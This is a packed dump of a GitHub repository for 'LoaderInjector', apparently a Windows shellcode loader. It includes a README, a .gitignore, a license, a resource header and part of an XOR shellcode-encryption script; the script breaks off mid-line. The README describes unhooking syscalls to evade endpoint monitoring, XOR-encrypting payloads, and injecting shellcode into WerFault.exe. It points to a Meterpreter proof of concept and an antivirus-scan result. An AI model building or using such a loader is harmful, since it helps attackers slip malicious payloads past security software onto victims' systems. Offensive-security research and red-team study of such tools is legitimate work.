├── meter_werfault.png
├── antiscan_werfault.png
├── LoaderInjector
├── LoaderInjector.aps
├── LoaderInjector.vcxproj.user
├── resource.h
├── LoaderInjector.vcxproj.filters
├── LoaderInjector.rc
├── main.cpp
├── ntdll.cpp
├── LoaderInjector.vcxproj
├── addresshunter.h
└── ntdll.h
├── .gitignore
├── README.md
├── LICENSE
├── xor.py
└── LoaderInjector.sln
/meter_werfault.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MaorSabag/LoaderInjector/HEAD/meter_werfault.png
--------------------------------------------------------------------------------
/antiscan_werfault.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MaorSabag/LoaderInjector/HEAD/antiscan_werfault.png
--------------------------------------------------------------------------------
/LoaderInjector/LoaderInjector.aps:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MaorSabag/LoaderInjector/HEAD/LoaderInjector/LoaderInjector.aps
--------------------------------------------------------------------------------
/LoaderInjector/LoaderInjector.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Prerequisites
2 | *.d
3 |
4 | # Compiled Object files
5 | *.slo
6 | *.lo
7 | *.o
8 | *.obj
9 |
10 | # Precompiled Headers
11 | *.gch
12 | *.pch
13 |
14 | # Compiled Dynamic libraries
15 | *.so
16 | *.dylib
17 | *.dll
18 |
19 | # Fortran module files
20 | *.mod
21 | *.smod
22 |
23 | # Compiled Static libraries
24 | *.lai
25 | *.la
26 | *.a
27 | *.lib
28 |
29 | # Executables
30 | *.exe
31 | *.out
32 | *.app
33 |
--------------------------------------------------------------------------------
/LoaderInjector/resource.h:
--------------------------------------------------------------------------------
1 | //{{NO_DEPENDENCIES}}
2 | // Microsoft Visual C++ generated include file.
3 | // Used by LoaderInjector.rc
4 | //
5 | #define IDR_PAYLOAD1 101
6 |
7 | // Next default values for new objects
8 | //
9 | #ifdef APSTUDIO_INVOKED
10 | #ifndef APSTUDIO_READONLY_SYMBOLS
11 | #define _APS_NEXT_RESOURCE_VALUE 102
12 | #define _APS_NEXT_COMMAND_VALUE 40001
13 | #define _APS_NEXT_CONTROL_VALUE 1001
14 | #define _APS_NEXT_SYMED_VALUE 101
15 | #endif
16 | #endif
17 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # LoaderInjector
2 |
3 | ### Details:
4 | - syscall unhooking using FreshCopy
5 | - payload encryption using xor - loaded as an argument
6 | - process injection - targeting 'WerFault.exe'
7 |
8 | ### Usage:
9 | - make a raw shellcode and encrypt it using [xor](https://github.com/MaorSabag/LoaderInjector/blob/main/xor.py)
10 | - Compile the LoaderInjector an execute it giving the shellcode as an arguemnt
11 |
12 | ### POC:
13 | 
14 |
15 | ### AntiScan 01-11-2022:
16 | 
17 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2022 Maor Sabag
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/xor.py:
--------------------------------------------------------------------------------
1 | import sys
2 |
3 | KEY = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
4 |
5 | def xor(data, key):
6 |
7 | key = str(key)
8 | l = len(key)
9 | output_str = ""
10 |
11 | for i in range(len(data)):
12 | current = data[i]
13 | current_key = key[i % len(key)]
14 | try:
15 | output_str += chr(current ^ ord(current_key))
16 | except:
17 | output_str += chr(ord(current) ^ ord(current_key))
18 |
19 | return output_str
20 |
21 |
22 | def printCiphertext(ciphertext):
23 | print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
24 |
25 |
26 | def main():
27 | if len(sys.argv) != 3:
28 | print(f"File arguments needed! {sys.argv[0]}